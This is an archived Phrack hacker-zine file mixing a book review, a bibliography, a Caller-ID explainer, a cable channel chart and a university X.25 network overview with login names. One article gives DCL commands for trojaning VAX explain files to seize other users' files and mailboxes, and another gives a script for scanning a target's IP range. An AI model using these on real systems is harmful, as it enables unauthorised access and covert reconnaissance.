The Hacker's Encyclopedia 1998

home *** CD-ROM | disk | FTP | other *** search

/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / zines / phrack2 / phrack43.005 < prev next >

Wrap

Text File | 2003-06-11 | 41.9 KB | 927 lines

==Phrack Magazine== Volume Four, Issue Forty-Two, File 5 of 27 // // /\ // ==== // // //\\ // ==== ==== // // \\/ ==== /\ // // \\ // /=== ==== //\\ // // // // \=\ ==== // \\/ \\ // // ===/ ==== (cont) ****************************************************************************** `'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`' '` '` `' Approaching Reality: `' '` ~~~~~~~~~~~~~~~~~~~~ '` `' A review of the new book Approaching Zero `' '` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ '` `' by Aleph One `' '` ~~~~~~~~~~~~ '` `' `' '`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'` When I started to read this book, I expected to read one more of the series of books that claim to be the "definitive history of the computer underworld" and the "first book to define the technological subculture of phreaking, hacking, and virus writing". After all what does a guy that writes for GQ, The Hollywood Reporter, Variety and Time know about the computer underground? Well to my surprise the authors, Paul Mungo and Bryan Clough (a member of the Virus Strategy Group, which is coordinated by New Scotland Yard's Computer Crime Unit), did a pretty good job at presenting the facts as they are. For the first time I heard a reporter and a computer crime expert give real figures at how much computer crime has really cost. Other than a few minor technical errors and the fact that they fail to mention some people and groups (especially in the virus section), the book was enjoyable to read. The book covers the history of the underground starting with its beginnings in the 60's, from phreaking to the adventures of Captain Crunch and the rest of the bunch to the not so long ago Operation Sundevil and the raids all over the country on members of the LOD, MOD and DPAC. It also goes through the events that led to the German hackers spy trials, and to the new generation of virus writers that are creating the new kind of living organisms that roam cyberspace. They also discuss the gray scale that categorizes hackers, from the good hackers to the bad to the ones not that bad... those who are in it for profit and those who are in it to learn. Hopefully all the readers of the book, hackers, security specialists, reporters and the general public will get a better understanding of what motivates hackers to do what they do by learning where they come from. To the hackers let them learn not to repeat their past errors. I hope that the time of raids and sting operations has passed, but the late developments in the Washington 2600 meeting have pulled a shadow over my hopes. Has no one learned? Have the SS and FBI nothing better to do? Just a few moths back someone pulled one of the greatest scams of all by setting up a fake ATM and stealing a few thousand dollars. These are the kind of people the authorities should be after. And to the hacker, don't sell yourself! Remember this is a learning trip, once you start forgetting to learn and start making money out of it, it is just another job, an illegal one at that. Approaching Zero was an exciting and interesting surprise. It has given me the hint that maybe someone out there understands and I hope that everyone that reads it (and you must, you must read and learn all you can) will also understand. I just leave you with these words: Hacking comes from the heart - sometimes in the form of an obsession, sometimes in the form of a hobby - once that dies, there is nothing left to do. No more traveling trough the nets! No more exploring new systems! You might as well turn the power off. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= What fallows is a list of books, papers and articles for those that want to know a little more of how the media portrays us, and a little more about the story of hacking in general. Books: ~~~~~~ - "Approaching Zero" by Paul Mungo & Bryan Clough. Random House 1992. - "Beating the System" by Owen Bowcott & Sally Hamilton. London: Bloomsbury, 1990. - "Computer Viruses - A High-Tech Disease" by Ralf Burger. Grand Rapids, MI: Abacus, 1988. - "The Hackers' Handbook" by Hugo Cornwall. London: Century Communications, 1985. - "Computers Under Attack" by Peter Denning. Addison Wesley, 1990. - "Profits of Deceit" by Patricia Franklin. London: William Heinemann, 1990. - "Cyberpunk" by Katie Hafner & John Markoff. London: Fourth Estate, 1991. - "Out of the Inner Circle" by Bill Landreth (aka The Cracker). Redmond, WA.: Tempus Books, 1985. - "Sillicon Valley Fever" by Judith K. Larsen & Everett M. Rogers. London: George Allen & Unwin, 1985. - "Computer Viruses" by Ralph Roberts. Greensboro, NC: Compute! Books, 1988. - "The Cuckoo's Egg" by Clifford Stoll. New York: Doubleday, 1989. - "Spectacular Computer Crimes" by Buck BloomBecker. Dow Jones-Irwin, 1990. - "The New Hacker's Dictionary" by Eric Raymond. MIT Press, 1983. - "The Hacker Crackdown" by Bruce Sterling. Bantam Books, 1992. - "The Little Black Book of Computer Viruses" by Mark Ludwig. American Eagle Publications, 1991. - "Artificial Life" by Steven Levy. Panthenon, 1992. (For those virus writers out there, use your tallen to create life.) Articles & Papers: ~~~~~~~~~~~~~~~~~~ - "Crime and Puzzlement" by John Perry Barlow. Whole Earth Review, Fall 1990: 44-57. - "The Casino Virus - Gambling with Your Hard Disk" by Jim Bates. Virus Bulletin, March 1991: 15-17. - "The TP Viruses" by Vesselin Bontchev. Postings to Virus-L 1990. - "In Defense of Hackers" by Craig Bromberg. The New York Times Magazine, April 21, 1991. - "Bulgaria - The Dark Country" by Bryan Clough. Virus Bulletin, December 1990: 9-11. - "Voice Mail Computer Abuse Prosecution: United States v. Doucette a/k/a Kyrie" by William J. Cook. Safe Computing Proceedings of the Fourth Annual Computer Virus & Security Conference, 1991, Organized by National Computing Corporation. - "Invasion of the Data Snatchers!" by Philip Elmer-De Witt. Time, September 26, 1988: 63. - "Data Exchange and How to Cope with This Problem: The Implication of the German KGB Computer Espionage Affair" by Hans Gliss. Paper presented at Securicom Italia, October 1989. - "The Implications of the SPANet Hack." Computers Fraud & Security Bulletin, Vol. 10, No. 2, 1987. - "The Brain Virus: Fact and Fantasy" by Harold J. Highland. Computers & Security, August 1988: 367-370. - Computer Viruses - A Post Modern." Computer & Security, April 1988: 117-184. - "Terminal Delinquents" by Jack Hitt & Paul Tough. Esquire, December 1990. - "The Social Organization of the Computer Underground" by Gordon R. Meyer. M.A. Thesis Submitted to the Graduate School, August 1989. - "Satanic Viruses" by Paul Mungo. GQ, February 1991: 126-130. - "Secrets of the Little Blue Box" by Ron Rosenbaum. Esquire, October 1971, Collected in Travels with Dr. Death. New York: Viking Penguin, 1991. - "The Worm Program - Early Experience with a Distributed Computations" by John F. Shoch. Communications of the ACM, Vol. 25, No. 3, March 1982. - "The Search for Den Zuk" by Fridrik Skulason. Virus Bulletin, February 1991: 6-7. - "Crisis and Aftermath" by Eugene H. Spafford. Communications of the ACM. Vol. 32, No. 6, June 1989. - "GURPS Labor Lost: The Cyberpunk Bust" by Bruce Sterling, Effector, September 1991: 1. - "Stalking the Wily Hacker" by Clifford Stoll. Communications of the ACM. Vol. 31, No. 5, May 1988. - "The Kinetics of Computer Virus Replication." by Peter S. Tippett. FundationWare, March 1990. - "The General and Logical Theory of Automata" by John L. von Neumann. Hixon Symposium, September 1948. - "Here Comes the Cyberpunk" by Eden Restored. Time, February 8, 1993: 58-65. - "Surfing Off the Edge" by Richard Begar. Time, February 8, 1993: 62. - "Can Hackers Be Sued for Damages Caused by Computer Viruses?" by Pamela Samuelson. Communications of the ACM. Vol. 32, No. 6, June 1989. - "Viruses and Criminal Law" by Michael Gemignani. Communications of the ACM. Vol. 32, No. 6, June 1989. - "Password Cracking: A Game of Wits" by Donn Seeley. Communications of the ACM. Vol. 32, No. 6, June 1989. - "The Cornell Commission: On Morris and the Worm" by Ted Eisenberg, David Gries, Juris Artmanis, Don Holcomb, M. Stuart Lynn & Thomas Santoro. Communications of the ACM. Vol. 32, No. 6, June 1989. - "Desperately Seeking Cyberspace" by Paul Saffo. Personal Computing, May 1989: 247-248. - "Secrets of the Software Pirates" by Bylee Gomes. Esquire, January 1982: 58-64. - "Trouble in Cyberspace" by Willard Uncapher. The Humanist, September/October 1991: 5-14,34. - "Is Computer Hacking a Crime?" Capture of a discussion held on the WELL. Harper's Magazine, March 1990: 45-57. - "The United States vs. Craig Neidorf" by Dorothy E. Denning. Communications of the ACM, Vol. 34, No. 3, March 1991: 24-32. - "Colleagues Debate Denning's Comments." Communications of the ACM. Vol. 34, No. 3, March 1991: 33-41. - "Denning's Rebutal" by Dorothy E. Denning. Communications of the ACM. Vol. 34, No. 3, March 1991: 42-43. - "Coming into the Country" by John P. Barlow. Communications of the ACM. Vol. 34, No. 3, March 1991: 19-21. - "Off the Hook" by Julian Dibbell. Village Voice, August 21, 1990: 8. - "On Line and Out of Bounds" by Julian Dibbell. Village Voice, July 24, 1990:27-32. - "Hi-Tech Mall Crawl" by Julian Dibbell. Village Voice. March 1990: 12 - "Samurai Hackers" by Lynda Edwards. Rolling Stone, September 19, 1991: 67-69. - "Crackdown on hackers `may violate civil rights'" by Dan Charles. New Scientist, July 21, 1990: 22. - "United States v. Zod." The Economist, September 1, 1990: 23. - "Drop the Phone." Time, January 9, 1989: 49. - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American, May 1984: 14-21. - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American, March 1985: 14-23. - "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American. March 1989: 110-113. - "Computer Security: NAS Sounds the Alarm" by Eliot Marshall. Science, Vol. 250: 1330. - "Students Discover Computer Threat" by Gina Koda. Science, Vol. 215, 5 March, 1982: 1216-1217. - "A nationwide Computer-Fraud Ring Is Broken Up." The New York Times National, Sunday, April 19, 1992. - "Hackers: Is a Cure Worse than the Disease?" by Mark Lewyn. Business Week, December 4, 1989: 37-38. - "Computer Hacking Goes to Trail" by William F. Allman. U.S. News & World Report, January 22, 1990: 25. - "Morris Code: by Katie Hafner. The New Republican, February 19, 1990: 15-16. - "Hackers Intentions Key to Court Case" by David Lindley. Nature. Vol. 340, August 3, 1989: 329. - "Problems of Security" by David Lendley. Nature. Vol. 340. July 27, 1989: 252. - "Hostile Takeovers" by Paul Wallich. Scientific American, January 1989: 22-23. - "The Worm's Aftermath" by Eliot Marshall. Science, Vol. 242, November 25, 1988: 1121-1122 - "Researcher Fear Computer Virus' Will Slow Use of National Network" by Calvin Sims. The New York Times, Monday, November 14, 1998: B6. - "Networked Computers Hit by Intelligent `Virus'" by Joseph Palca & Seth Shulman. Nature, Vol. 336, November 10, 1988: 97. - "The Science of Computing: Computer Viruses" by Peter J. Denning. American Scientist, Vol. 76, May-June 1988:236-238. - "Cyberpunks and the Constitution" by Philip Elmer-Dewitt. Time, April 8, 1991:81. - "Plan to outlaw hacking." Nature, Vol. 341, October 19, 1989: 559. - "Computer System Intruder Plucks Passwords and Avoids Detection" by John Markoff. The New York Times National, Monday, March 19, 1990. - "Networked Computer Security" by S.J. Buchsbaum. Vital Speeches of the day. December 15, 1991: 150-155. - "Halting Hackers." The Economist. October 28, 1989: 18. - "Revenge of the Nerds" by Nocholas Martin. The Washington Monthly, January 1989: 21-24. - "Greater awareness of security in aftermath of computer worm" by Seth Shulman & Joseph Palce. Nature, Vol. 336, November 1988: 301. - "Avoiding Virus Hysteria" by Patrick Honan. Personal Computing, May 1989: 85-92. ***************************************************************************** {----------------------------------------------} { } { VMS/VAX Explain Files Explained } { or } { Security Holes in the VAX and DCL } { } { By: The Arctic Knight } { } {----------------------------------------------} VAX/VMS hacking has declined in popularity over the years due to the abundance of UNIX machines now available. It has even gotten bad press from fellow hackers. Included in this file is a security hole the size of , oh, any of the older IBM mainframes. With a little curiosity, persistence, and down right stubbornness I came across this rather obvious hole in the system. However, this hole may be so obvious that it has remained relatively hidden until now, especially since the decline of DCL users. On most VAX systems, there is something called explain files. These are usually help files that are made up by the system operators or borrowed from somewhere to help better explain the way certain features of the system work, whether they be general VAX commands, or system-specific programs. When you are in your account (Presumably, a fake one, as this can be tracked down if you are foolish) type: $ explain index and you will get a list of all the explain files on your system. Go ahead and take a look around these just to get a feel of what it looks like. It should be a menu driven list of text files to view or programs to run(!!!). Most system operators only set this up to show various text files describing commands like mentioned above. However, DCL .com files can be run from explain files as well. Now comes the fun. Many systems will also allow users to set up there own explain file. A really nice way to make it easy for other users to view text files or run programs that you have set for group or world access. The first thing someone needs to do is make a file called INTRO.LKT which will contain whatever introduction text that you would like displayed before your explain file menu is displayed(i.e. you might have a description of yourself, your duties, or a funny poem, or WHATEVER YOU WANT THAT CAN BE CONTAINED IN A TEXT FILE!!!!) You can use any editor to do this like EDT(a line editor) or TPU(a full screen editor). You will need to type something along these lines to create the file: $set vt=100 !if using a full screen editor like TPU $edit/tpu intro.lkt After you are finished typing in the file, if you used TPU (A much better choice than EDT), you press <CONTROL-Z> to save the file. Now you must create a file called INDEX.LKI which will contain the file directories, filenames, and short descriptions of the files that you want to have displayed. You do this in the same manner as above, by entering an editor, and creating the file. $edit/tpu index.lki Now, in this file the lines should look like the following: (File Directory) (Filename) (File Description) Phrack41.txt A complete copy of Phrack 41 for your enjoyment. User:[aknight.hack]vms.txt A guide to hacking VMS systems. Temp$1:[aknight.ftp]ftplist.txt A list of FTP servers in-state. Now, to explain these three lines. The first one will look for the program in your main directory. The second line will look for the program listed after it on the device called USER and in the HACK directory within the AKNIGHT directory. The final line will look on the device called TEMP$1 in the FTP directory within the AKNIGHT directory. Adding DCL programs will be explained in a minute, but first lets get this up and running. Now, that you have typed in the text files you want, and saved this file you need to set the protection on your main directory and any others that need accessing like the text files to group and world access. For the above example one would want to type(assuming you are in your main directory): $set prot=(g:re,w:re) user:[000000]aknight.dir !This is my main directory $set prot=(g:re,w:re) user:[aknight.hack] $set prot=(g:re,w:re) temp$1:[000000]aknight.dir !My second storage device $set prot=(g:re,w:re) temp$1:[aknight.ftp] $set prot=(g:r,w:r) phrack41.txt !Giving privs to read only $set prot=(g:r,w:r) user:[aknight.hack]vms.txt $set prot=(g:r,w:r) temp$1:[aknight.ftp]ftplist.txt Now, if you type: $explain aknight ! (my username in this instance,your normally) You should get a print out to screen of your INTRO.LKT file and then a message along the lines of "Hit <return> to continue". When you hit return a menu will appear very similar to the normal explain file menu except with your files listed and their descriptions which were accessed by the computer from your INDEX.LKI file. It would look like this(or something similar) in the above example. {a print out of my INTRO.LKT file...} Hit <RETURN> to continue EXPLAIN AKNIGHT ================================================================================ (A) PHRACK41 T-A complete copy of Phrack 41 for your enjoyment. (B) VMS T-A guide to hacking VMS systems. (C) *EXPLAIN/USER AKNIGHT FTPLIST T-A list of FTP servers in-state. (Q) TERMINATE THIS PROGRAM ================================================================================ T = Text Display P = Program to be run (* = Related Information) Choose A-C, Q, oe type HELP for assistance. Now you have an explain file. Pressing A-C will print those files to screen with pauses at each page if set up on your system/account to do so. I typed out number C the way I did, because when it has to access a directory other than it's main one, it will usually do this. I think there is away around this, but to be quite honest I haven't bothered figuring it out yet. When you quit, you will be dropped back off at your main prompt. The reason you need to set your protections, is because even thought from your account, it may look like it is working, if you don't set your protections as described above, NO ONE else will be able to view it!! Now, comes the fun part. Putting DCL .COM files into your explain file. These are put into your index just like any text file. So you could type up a program to let someone copy the public files you have in your account to their directory, or something similar. The security flaw comes in here and it is a big one. Since a user is accessing your explain file from their account, any file that they run, issues commands in their account. So, one might plant a line in the middle of the above program that say something like: $set def sys$login !Returns them to their main directory. $set prot=(g:rwed,w:rwed) *.*;* !Their files are now read, write, execute, !and deleteable by anyone, including you. Here is another idea. Say you create a text reader in DCL, to allow people to jump around in the text files you have, skip pages, etc. called TYPE.COM in your main directory. Anytime you can fool people into thinking that the computer is taking a little time to think, you can insert some major commands, i.e. when it is skipping pages, or coping files, which almost takes no time at all in reality. I STRONGLY suggest starting any program you plan to nest commands like this into with: $set noverify Which will make sure that the program lines don't get printed to the screen as they are running. Another important command to know is the following which will cause the next text output from the VAX to be sent to a NULL device, so it will essentially be lost and not printed to the screen. So, if one is accessing someone's mailbox, you don't want a messaging appearing on screen saying that you have entered VAX/VMS mail or whatever. The command is: $assign nl:sys$output/user If you forget the /user it will send the output to the null device for the session, instead of just one line. Some other things one might do would be to add yourself to someone's ACL(access control list) by typing: $set acl/acl=(ident=[aknight],access=control) *.*;* Now, this will give you access to all their files just as if you were the user, however if they bother to ever do a dir/prot command your username will be printed all over the screen, so one would suggest if you must do this, to use a fake account. Same with this below command: $assign nl:sys$output/user $mail set write aknight The second line will give me read and write access to someone's mailbox, but once again if they bother to check their mailbox protections your username will be displayed. In case, you haven't realized this yet, this all has A LOT of potential, and what I have mentioned here is just the tip of the iceberg and really mostly small and even foolish things to do, but the fact comes down to ANYTHING the user can do in their account, YOU can do in there account if you know the right commands and have the patience to nest them into a .COM file well enough. When you have created the .COM file and added it to the INDEX.LKI file, then you will need to set the protection of the file like so: $set prot=(g:e,w:e) type.com !Execution only. No read privs. You now have it a fully functional explain file that is only held down by your imagination. Remember, malicious actions aren't the sign of a true hacker, so don't delete a users complete directory just because you want to show of your power. Most people won't be impressed. If your a SYSOP, fix this DAMN HOLE!!! And if your a user well, learn the system quickly, explore, absorb, and discover some other hole before the above SYSOP patches this one...... COMMENTS, QUESTIONS, ADDITIONS, ETC can be sent to PHRACK LOOPBACK. ENJOY!! {______________________________________________________________________________} ***************************************************************************** A Internet Scanner (War Dialer) by MadHatter Purpose of this program ~~~~~~~~~~~~~~~~~~~~~~~ Remember those scanner, war dialer programs everyone used to scan areas of telephone numbers to find unknown hosts? Well, now your on the net and you're targeting some certain establishment, and you know which part of the net they own, but the hell if you know what the actual IP addresses of their hosts are... Telneting to NIC.DDN.MIL is no help, their records are a year old... Might as well have been 10 yrs ago... So you type every possible IP address in. Right? After a while that shit gets tiring... Well, hell let the computer do it, that's what its there for. More speed, no sore fingers, no bitching, and it runs when you're not there. Almost perfect..... Program Details ~~~~~~~~~~~~~~~ DCL is the language and it runs on Vaxen. A,B,C,D respectively represent the starting IP address. E,F,G,H respectively represent the ending IP address (ex. If you what to start at 4.1.1.1 and end at 6.1.1.1 then a = 4, B = 1, etc., E = 6, F = 1, etc.) The prog creates a data file (FINAL.DAT) that holds all successful connections. If you run it in batch, it also creates a .log file. This by far takes up most of the memory. When the program quits, delete it. This prog is just one big loop. It finds a good telnet address and then reIFINGERs there, saving it. Program Changes ~~~~~~~~~~~~~~~ If you run it in batch, then you might (probably) have to define where the IFINGER or FINGER program is. Make sure it is the one for FINGERing remote hosts, the commands for it vary. Why do you have to define it? Because the dumb-ass sysop couldn't think of why anyone would want to use it in batch. Problems ~~~~~~~~ The IFINGER (FINGER) command might not connect to some hosts from your system. Why can you TELNET there but no IFINGER? It all probably has to do with the other host (it has tight security, too far away, doesn't support FINGERing, etc.). No Solutions (Just one) ~~~~~~~~~~~~~~~~~~~~~~~ You say if I can TELNET to more places than IFINGERing, why not base the scanner on the TELNET command? Two reasons: (1) the security with the TELNET command requires its output goes to a terminal, never to run in batch; (2) the TELNET command does not give the character address (at least not on the system I use). To have the character address is valuable to me. The program lists the IP address, the character address, then whatever finger came up with. When running in batch, the program will quit eventually (do to MAX CPU time or exceeded disk quota). This can be a pain (especially if its CPU time), you can always get more memory. Try changing the file specifics in the prog, and run many versions of it at once, to get as much cpu time as possible. For memory, clear your account, or get more of them. Another problem is when your program has stopped and you have nothing in FINAL.DAT file. So where do you start the batch off again? All I can say is count the number of failed connections and add 'em to your previous start address, start at that address. More Ideas ~~~~~~~~~~ If you want the net area of an establishment then ftp to NIC.DDN.MIL and get the hosts listing, or TELNET there and search for the name. Some areas of the net do not like to be scanned. Your sysop will get nasty calls, and then you will get nasty e-mail if you for instance scan the Army Information Systems Center. Or any other government org. Of course, this program wouldn't hurt them at all, it would bounce back. They use firewalls. But they will bitch anyway. After you run this program for awhile, you'll notice the net is really a big empty place. Hosts are few and far between (at least address wise). Are you agoraphobic yet? What do you do with all this room? MadHatter *----------------------------CUT HERE------------------------------------------* $ A = 0 $ B = 0 $ C = 0 $ D = 0 $ E = 257 $ F = 0 $ G = 0 $ H = 0 $ D = D - 1 $ IFINGER := $VMS$UTIL:[IFINGER]FINGER.EXE;1 $ CREATE FINAL.DAT $ LOOP1: $ ON SEVERE_ERROR THEN GOTO SKIP $ D = D + 1 $ IFINGER @'A'.'B'.'C'.'D' $ ON SEVERE_ERROR THEN GOTO SKIP $ ASSIGN TEMPFILE.DAT SYS$OUTPUT $ WRITE SYS$OUTPUT "["'A'"."'B'"."'C'"."'D'"]" $ IFINGER @'A'.'B'.'C'.'D' $ DEASSIGN SYS$OUTPUT $ APPEND TEMPFILE.DAT FINAL.DAT $ DELETE TEMPFILE.DAT;* $ SKIP: $ IF A .EQ. E THEN IF B .EQ. F THEN IF C .EQ. G THEN IF D .EQ. H THEN EXIT $ IF D .EQ. 256 THEN GOTO LOOP2 $ IF C .EQ. 256 THEN GOTO LOOP3 $ IF B .EQ. 256 THEN GOTO LOOP4 $ GOTO LOOP1 $ LOOP2: $ D = 0 $ C = C + 1 $ GOTO LOOP1 $ LOOP3: $ C = 0 $ B = B + 1 $ GOTO LOOP1 $ LOOP4: $ B = 0 $ A = A + 1 $ GOTO LOOP1 $ EXIT *------------------------------------CUT HERE----------------------------------* ***************************************************************************** Caller Identification by (Loq)ue & Key 3/20/93 Caller-Identification (CID), is a relatively new service being offered by several carriers. It is part of a total revamp of the telephone network, with the telephone companies trying to get people to spend more money on their systems. CID is just one of the newer CLASS services, which will eventually lead into ISDN in all areas. Caller-ID allows a receiving party to see the number that is calling before they pick up the phone. It can be used for everything from pizza delivery to stopping prank callers. One scenario made possible from CID is one where a salesman dials your number, you look on a little box and see that it is someone you don't want to talk to, so you promptly pick up the phone, say "Sorry, I don't want any *** *** products" and slam down the receiver. Ah, the wonders of modern technology. Caller-ID starts by a person making a call. When the person dials a number, the local switch rings the calling number once, and then sends a specially encoded packet to the number, after checking to see if that caller has access to the Calling Number Delivery service. The packet can contain any information, but currently it holds a data stream that contains flow control, and error checking data. The specifications state that several signals can exist, however, only the Caller-ID signal is used currently. The CID packet begins with a "Channel Seizure Signal". The CSC is 30 bytes of hex 55, binary 01010101, which is equivalent to 250 milliseconds of a 600 hz square wave. The second signal is the "Carrier Signal," which lasts for 150 milliseconds, and contains all binary 1's. The receiving equipment should have been "woken-up" by the previous signal and should now be waiting for the important information to come across. Next are the "Message Type Word", and the "Message Length Word". The MTW contains a Hex $04 for CID applications, with several other codes being planned, for example $0A to mean message waiting for a pager. The MLW contains the binary equivalent of the number of digits in the calling number. The data words come next, in ASCII, with the least significant digit first. It is padded in from with a binary 0, and followed by a binary 1. A checksum word comes after that, which contains the twos-complement sum of the MLW and data words. The checksum word usually signals the end of the message from the CO, however, other messages for equipment to decode can occur afterwards. Caller-ID can usually be disabled with a 3 digit sequence, which can vary from CO to CO. Several of these have been mentioned in the past on Usenet, in comp.dcom.telecom. Caller-ID chips are available from many sources, however, remember that you must connect these chips through an FCC-approved Part-68 Interface. Several of these interfaces are available, however they are fairly expensive for an amateur electronics hacker. If you have any more questions on CID, mail me at the above address, or post to comp.dcom.telecom. Additional Sources from Bellcore: Nynex Catalog of Technical Information #NIP-7400 SPCS Customer Premises Equipment Data Interface #TR-TSY-0030 CLASS Feature: Calling Number Delivery #FSD-02-1051 CLASS Feature: Calling Number Blocking #TR-TSY-000391 ***************************************************************************** THE "OFFICIAL" CABLE TELEVISION VIDEO FREQUENCY SPECTRUM CHART COURTESY OF: JOE (WA1VIA) & JIM (WA1FTA) CATV CHANNEL FREQUENCY (MHz) CATV CHANNEL FREQUENCY (MHz) ------------------------------------------------------------------------------- 2 2 55.25 37 AA 301.25 3 3 61.25 38 BB 307.25 4 4 67.25 39 CC 313.25 5 5 77.25 40 DD 319.25 6 6 83.25 (85.25 ICC) 41 EE 325.25 --------------------------------------- 42 FF 331.25 7 7 175.25 43 GG 337.25 8 8 181.25 44 HH 343.25 9 9 187.25 45 II 349.25 10 10 193.25 46 JJ 355.25 11 11 199.25 47 KK 361.25 12 12 205.25 48 LL 367.25 13 13 211.25 49 MM 373.25 --------------------------------------- 50 NN 379.25 14 A 121.25 51 OO 385.25 15 B 127.25 52 PP 391.25 16 C 133.25 53 QQ 397.25 17 D 139.25 54 RR 403.25 18 E 145.25 55 SS 409.25 19 F 151.25 56 TT 415.25 20 G 157.25 57 UU 421.25 21 H 163.25 58 VV 427.25 22 I 169.25 59 WW 433.25 ---------------------------------------- 60 W+ 439.25 23 J 217.25 --------------------------------- 24 K 223.25 61 W+1 445.25 25 L 229.25 62 W+2 451.25 26 M 235.25 63 W+3 457.25 27 N 241.25 64 W+4 463.25 28 O 247.25 65 W+5 469.25 29 P 253.25 --------------------------------- 30 Q 259.25 66 A-1 115.25 31 R 265.25 67 A-2 109.25 32 S 271.25 68 A-3 103.25 33 T 277.25 69 A-4 97.25 34 U 283.25 70 A-5 91.25 35 V 289.25 --------------------------------- 36 W 295.25 01 A-8 73.25 ------------------------------------------------------------------------------- * This chart was created 08/19/89 by: WA1VIA & WA1FTA. Some uses include the isolation of CATV interference to other radio services, and building of active & passive filters, and descramblers. This does NOT give you the right to view or decode premium cable channels; without proper authorization from your local cable TV company. Federal and various state laws provide for substantial civil an criminal penalties for unauthorized use. ------------------------------------------------------------------------------- ****************************************************************************** ----------------------------- The CSUNet X.25 Network Overview by Belgorath ----------------------------- C y b e r C o r p s Calstate University, along with Humboldt State, runs a small X.25 network interconnecting its campuses. This file will attempt to give an overview of this network. The hosts on this network are connected via 9600-baud links. The main PAD on this network is a PCI/01 that allows the user to connect to several hosts. Among them are: (At the time of this writing, several of the machines were unreachable. They are marked with "No info available") hum - Humboldt State University CDC Cyber 180-830 (NOS 2.7.1) swrl - A CalState CDC Cyber named "Swirl", running CDCNet. You may use CDCNet to connect to the following hosts: ATL (SunOS, eis.calstate.edu), login as: access to request an account ctp to access CTP CCS CDC Cyber 960-31 (NOS 2.7.1) - This is Swirl without CDCNet COC CDC Cyber 960-31 (NOS 2.7.1) FILLY VAX 6230 (VMS 5.3) ICEP IBM 4381 (VM) OX IBM 4381 (MVS) (Aptly Named) mlvl - University of California's Library Catalog System, named "Melvyl". sb - Calstate/San Bernardino CDC Cyber 180-830 (NOS 2.5.2) sd - San Diego State University CDC Cyber 180-830B (NOS 2.7.1) chi - Calstate/Chico CDC Cyber 180-830 (NOS 2.7.1) - oddly enough this system is running CDCNet with itself as the only host bak - Calstate/Bakersfield CDC Cyber Dual 830 CMR-1 (NOS 2.7.1) this system is running CDCNet, and if you fail the login, you can connect to these systems, if you type fast enough: CCS - Central Cyber 960 System CSBINA - CSUB Instructional Vax 3900 CSBOAA - CSUB Office Automation Vax 4300 CYBER - Local host RBFBATCH - CSUB CDC Cyber Remote Batch Gateway ccs - CDC Cyber 960-31 (CCS from Swirl) coc - CDC Cyber 960-31 (COC from Swirl) dh - Calstate/Dominguez Hills CDC Cyber 960-11 (NOS 2.7.1) - this system runs CDCNet with no hosts.. go figure fre - Calstate/Fresno - No info available ful - Calstate/Fullerton - No info available hay - Calstate/Hayward - No info available la - Calstate/Los Angeles - No info available lb - Calstate/Long Beach - No info available mv - No info available news - No info available nor - Calstate/Northridge - No info available pom - California State Polytechnic University, Pomona - No info available sac - Calstate/Sacramento CDC Cyber 180-830 (NOS 2.5.2) sf - Calstate/San Francisco - No info available sj - San Jose State University - No info available son - Sonoma State University CDC Cyber 180-830 (NOS 2.7.1) - this system runs CDCNet with itself as the only host sm - No info available slo - California State Polytechnic University, San Luis Obispo - No info available sta - Calstate/Stanislaus - No info available ven - No info available carl - No info available caps - CSUNet networking machine. From it, you can connecting to most PAD hosts plus a few more. The extras are: access - Connect to eis.calstate.edu (login as "access") core - Connect to eis.calstate.edu (login as "core") ctp - Connect to eis.calstate.edu (login as "ctp") eis - Connect to eis.calstate.edu (login as "eis") trie - Connect to eis.calstate.edu (login as "trie") csupernet - CSUPERNet appears to be a public-access UNIX. login as "public" for ATI-Net. login as "super" for academic information. login as "atls" for the ATLS system Once you apply for an account here, you can telnet to caticsuf.cati.csufresno.edu to use it. This is all well and good, but how to you access CSUNet? It can be reached via Internet, using the Humbolt PACX (pacx.humboldt.edu). The Humboldt PACX allows several services, among them are: X25 - Connect directly to CSUNet PAD 960 - CDC Cyber 180/830 (Swirl) 830 - CDC Cyber 180/830 (COC from Swirl) VAX - VAX 8700 (VMS V5.3) 70 - DEC PDP 11/70 (running RSTS) SEQ - Sequent S81 (running Dynix V3.1.4 X.25 UNIX software) TELNET - Telnet Server That's really all there is to say concerning the network structure (well, I could go through and list all their X.25 addresses, but I won't). There's a ton more to be said about using this network, but its little quirks and surprises can be left to you to figure out. What I can do here is give a few hints on using CDCNet and the PAD. Using the PAD ~~~~~~~~~~~~~ Once you're at the X.25 PAD, you'll get a message like: CSUnet Humboldt PCI/01, Port: P17 At the "Pad>" prompt, simply type the hostname to connect to. When in doubt, type "help <subjectname>", or just "help" for a list of subjects that help is available on. Using CDCNet ~~~~~~~~~~~~ When a CDC Cyber says "You may now execute CDCNet Commands", this is your cue. You have the following commands available: activate_auto_recognition activate_x_personal_computer change_connection_attribute change_terminal_attribute change_working_connection create_connection delete_connection display_command_information display_command_list display_connection display_connection_attribute display_service display_terminal_attribute do help request_network_operator The ones to concern yourself with are display_service, create_connection, and help. "help" gives the above command listing (useful), "display_service" lists the hosts on the current CDCNet, and "create_connection <host>" creates a connection to "host" on the CDCNet. *******************************************************************************